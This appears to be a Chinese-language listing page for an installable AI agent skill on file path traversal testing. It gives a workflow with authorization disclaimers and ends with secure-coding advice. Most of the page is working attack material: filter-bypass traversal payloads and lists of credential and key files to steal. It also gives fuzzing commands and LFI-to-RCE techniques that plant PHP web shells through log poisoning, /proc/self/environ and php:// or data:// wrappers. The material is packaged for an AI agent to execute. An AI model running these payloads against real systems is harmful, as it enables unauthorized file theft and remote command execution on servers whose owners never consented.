mcpField
F
file-path-traversal

file-path-traversal

github.com/sickn33安全48.7k85 次安装今天更新
代码仓库

关于 file-path-traversal

面向获准安全评估的文件路径遍历测试技能,提供从识别入口、验证影响到编写修复建议的流程,并强调授权确认与范围控制。

主要功能

  1. 01识别文件操作入口
  2. 02测试路径遍历与过滤绕过
  3. 03评估文件暴露影响
  4. 04提供安全编码建议
  5. 05强调授权确认与测试边界

适用场景

  1. 01在获准评估中检查文件读取漏洞
  2. 02整理漏洞报告与影响评估
  3. 03为文件访问逻辑制定修复方案

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/sickn33/agentic-awesome-skills --skill file-path-traversal

安装后在 Claude Code 中输入/file-path-traversal确认已加载。

详细介绍

⚠️ 仅限授权用途 本技能仅用于教育目的或经授权的安全评估。 使用此工具前,必须获得系统所有者的明确书面许可。 滥用此工具属于违法行为,严禁滥用。

强制确认关卡 在执行任何会探测、利用漏洞、修改目标、在目标上建立持久化、从目标提取数据或尝试访问目标凭据的命令之前,询问具体的目标 URL、IP、账户或资源,并确认是否获得书面授权及获准范围。 显示确切的命令,说明其预期效果,并等待当前对话中的明确确认。 未获得确认时,只能进行只读操作并提供防御性指导。优先使用沙箱、一次性 VM 或受控实验室。

文件路径遍历测试

目的

识别并利用文件路径遍历(目录遍历)漏洞,使攻击者能够读取服务器上的任意文件,其中可能包括敏感配置文件、凭据和源代码。当用户可控的输入未经适当验证便传递给文件系统 API 时,就会出现此类漏洞。

先决条件

所需工具
  • 配备开发者工具的 Web 浏览器
  • Burp Suite 或 OWASP ZAP
  • 用于测试负载的 cURL
  • 用于自动化的字典列表
  • 用于模糊测试的 ffuf 或 wfuzz
所需知识
  • HTTP 请求/响应结构
  • Linux 和 Windows 文件系统布局
  • Web 应用架构
  • 文件 API 的基础知识

输出与交付成果

  1. 漏洞报告 - 已识别的遍历点及其严重性
  2. 利用证明 - 提取的文件内容
  3. 影响评估 - 可访问的文件及数据泄露情况
  4. 修复指南 - 安全编码建议

核心工作流

阶段 1:了解路径遍历

当应用使用用户输入构建文件路径时,就可能发生路径遍历:

// Vulnerable PHP code example
$template = "blue.php";
if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
    $template = $_COOKIE['template'];
}
include("/home/user/templates/" . $template);

攻击原理:

  • ../ 序列用于向上移动一个目录
  • 串联多个序列以到达根目录
  • 访问预期目录之外的文件

影响:

  • 机密性 - 读取敏感文件
  • 完整性 - 写入/修改文件(某些情况下)
  • 可用性 - 删除文件(某些情况下)
  • 代码执行 - 与文件上传或日志投毒结合时
阶段 2:识别遍历点

梳理应用中可能执行文件操作的位置:

# Parameters that often handle files
?file=
?path=
?page=
?template=
?filename=
?doc=
?document=
?folder=
?dir=
?include=
?src=
?source=
?content=
?view=
?download=
?load=
?read=
?retrieve=

常见的易受攻击功能:

  • 图像加载:/image?filename=23.jpg
  • 模板选择:?template=blue.php
  • 文件下载:/download?file=report.pdf
  • 文档查看器:/view?doc=manual.pdf
  • 包含机制:?page=about
阶段 3:基本利用技术
简单路径遍历
# Basic Linux traversal
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd

# Windows traversal
..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hosts

# URL encoded
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd  # Double encoding

# Test payloads with curl
curl "http://target.com/image?filename=../../../etc/passwd"
curl "http://target.com/download?file=....//....//....//etc/passwd"
绝对路径注入
# Direct absolute path (Linux)
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ

# Direct absolute path (Windows)
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini
阶段 4:绕过技术
绕过已剥离的遍历序列
# When ../ is stripped once
....//....//....//etc/passwd
....\/....\/....\/etc/passwd

# Nested traversal
..././..././..././etc/passwd
....//....//etc/passwd

# Mixed encoding
..%2f..%2f..%2fetc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
绕过扩展名验证

仅限历史版本/特定解析器的示例:额外的扩展名本身不会让现有文件变得可读,现代运行时也会拒绝空字节/无效编码技巧。请针对确切版本进行验证;不要仅凭负载字符串就声称绕过成功。

# Null byte injection (older PHP versions)
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png

# Path truncation
../../../etc/passwd...............................

# Double extension
../../../etc/passwd.jpg.php
绕过基目录验证
# When path must start with expected directory
/var/www/images/../../../etc/passwd

# Expected path followed by traversal
images/../../../etc/passwd
绕过黑名单过滤器
# Unicode/UTF-8 encoding
..%c0%af..%c0%af..%c0%afetc/passwd
..%c1%9c..%c1%9c..%c1%9cetc/passwd

# Overlong UTF-8 encoding
%c0%2e%c0%2e%c0%af

# URL encoding variations
%2e%2e/
%2e%2e%5c
..%5c
..%255c

# Case variations (Windows)
....\\....\\etc\\passwd
阶段 5:Linux 目标文件

高价值目标文件:

# System files
/etc/passwd           # User accounts
/etc/shadow           # Password hashes (root only)
/etc/group            # Group information
/etc/hosts            # Host mappings
/etc/hostname         # System hostname
/etc/issue            # System banner

# SSH files
/root/.ssh/id_rsa           # Root private key
/root/.ssh/authorized_keys  # Authorized keys
/home/<user>/.ssh/id_rsa    # User private keys
/etc/ssh/sshd_config        # SSH configuration

# Web server files
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/etc/apache2/sites-enabled/000-default.conf
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log

# Application files
/var/www/html/config.php
/var/www/html/wp-config.php
/var/www/html/.htaccess
/var/www/html/web.config

# Process information
/proc/self/environ      # Environment variables
/proc/self/cmdline      # Process command line
/proc/self/fd/0         # File descriptors
/proc/version           # Kernel version

# Common application configs
/etc/mysql/my.cnf
/etc/postgresql/*/postgresql.conf
/opt/lampp/etc/httpd.conf
阶段 6:Windows 目标文件

Windows 专属目标:

# System files
C:\windows\win.ini
C:\windows\system.ini
C:\boot.ini
C:\windows\system32\drivers\etc\hosts
C:\windows\system32\config\SAM
C:\windows\repair\SAM

# IIS files
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\

# Configuration files
C:\xampp\apache\conf\httpd.conf
C:\xampp\mysql\data\mysql\user.MYD
C:\xampp\passwords.txt
C:\xampp\phpmyadmin\config.inc.php

# User files
C:\Users\<user>\.ssh\id_rsa
C:\Users\<user>\Desktop\
C:\Documents and Settings\<user>\
阶段 7:自动化测试
使用 Burp Suite
1. Capture request with file parameter
2. Send to Intruder
3. Mark file parameter value as payload position
4. Load path traversal wordlist
5. Start attack
6. Filter responses by size/content for success
使用 ffuf
# Basic traversal fuzzing
ffuf -u "http://target.com/image?filename=FUZZ" \
     -w /usr/share/wordlists/traversal.txt \
     -mc 200

# Fuzzing with encoding
ffuf -u "http://target.com/page?file=FUZZ" \
     -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
     -mc 200,500 -ac
使用 wfuzz
# Traverse to /etc/passwd
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
      --hc 404 \
      "http://target.com/index.php?file=FUZZ"

# With headers/cookies
wfuzz -c -z file,traversal.txt \
      -H "Cookie: session=abc123" \
      "http://target.com/load?path=FUZZ"
阶段 8:从 LFI 升级到 RCE

需要在一次性实验室环境中另行获得代码执行范围的授权。读取任意文件并不意味着能够包含 PHP 文件;包装器的行为取决于运行时配置/扩展。在现代环境中,通常无法通过 /proc/self/environ 获取请求头。达到授权证明所需的程度后即应停止,不要默认继续升级。

日志投毒
# Inject PHP code into logs
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

# Include Apache log file
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"

# Include auth.log (SSH)
# First: ssh '<?php system($_GET["cmd"]); ?>'@target.com
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
Proc/self/environ
# Inject via User-Agent
curl -A "<?php system('id'); ?>" \
     "http://target.com/page?file=/proc/self/environ"

# With command parameter
curl -A "<?php system(\$_GET['c']); ?>" \
     "http://target.com/page?file=/proc/self/environ&c=whoami"
PHP 包装器利用
# php://filter - Read source code as base64
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"

# php://input - Execute POST data as PHP
curl -X POST -d "<?php system('id'); ?>" \
     "http://target.com/page?file=php://input"

# data:// - Execute inline PHP
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"

# expect:// - Execute system commands
curl "http://target.com/page?file=expect://id"
阶段 9:测试方法

结构化测试方法:

# Step 1: Identify potential parameters
# Look for file-related functionality

# Step 2: Test basic traversal
../../../etc/passwd

# Step 3: Test encoding variations
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# Step 4: Test bypass techniques
....//....//....//etc/passwd
..;/..;/..;/etc/passwd

# Step 5: Test absolute paths
/etc/passwd

# Step 6: Test with null bytes (legacy)
../../../etc/passwd%00.jpg

# Step 7: Attempt wrapper exploitation
php://filter/convert.base64-encode/resource=index.php

# Step 8: Attempt log poisoning for RCE
阶段 10:预防措施

安全编码实践:

优先使用服务器端不透明 ID,并将其映射到已知的可读文档。不要使用 include 返回用户选择的文件:这可能会执行 PHP。仅使用 basename 过滤器或字符串前缀检查并不足够;例如,files-backup 等同级目录也带有 files 前缀。除了确保路径位于指定范围内,还要实施对象级授权。

from pathlib import Path

def safe_file_access(base_dir, filename):
    # Existing-file sketch; filename must already have passed authorization.
    base = Path(base_dir).resolve(strict=True)
    candidate = (base / filename).resolve(strict=True)
    if not candidate.is_relative_to(base) or not candidate.is_file():
        raise PermissionError("Access denied")
    return candidate.read_text(encoding="utf-8")

如果攻击者能够修改目录或符号链接,先解析路径再打开文件可能会产生竞争条件。此示例要求目录树可信且不可变;对于恶意可变文件系统,请使用特定于平台的、相对于文件描述符且禁止跟随链接的遍历/打开语义,或隔离存储。在一次性测试环境中测试同级目录前缀、绝对路径、编码遍历、符号链接和竞争条件边界。

快速参考

常见载荷
载荷目标
../../../etc/passwdLinux 密码文件
..\..\..\..\windows\win.iniWindows INI 文件
....//....//....//etc/passwd绕过简单过滤器
/etc/passwd绝对路径
php://filter/convert.base64-encode/resource=config.php源代码
目标文件
操作系统文件用途
Linux/etc/passwd用户账户
Linux/etc/shadow密码哈希
Linux/proc/self/environ环境变量
WindowsC:\windows\win.ini系统配置
WindowsC:\boot.ini启动配置
Webwp-config.phpWordPress 数据库凭据
编码变体
类型示例
URL 编码%2e%2e%2f = ../
双重编码%252e%252e%252f = ../
Unicode%c0%af = /
空字节%00

限制与局限

权限限制
  • 无法读取应用用户无权访问的文件
  • shadow 文件需要 root 权限
  • 许多文件具有严格的权限限制
应用限制
  • 扩展名验证可能会限制文件类型
  • 基础路径验证可能会限制范围
  • WAF 可能会拦截常见载荷
测试注意事项
  • 遵守授权范围
  • 避免访问真正敏感的数据
  • 记录所有成功的访问

故障排除

问题解决方案
响应无差异尝试编码、盲遍历或不同的文件
载荷被拦截使用编码变体、嵌套序列或大小写变体
无法升级为 RCE检查日志、PHP 包装器、文件上传和会话投毒

适用场景

此技能适用于执行概述中描述的工作流或操作。

评论

支持 Markdown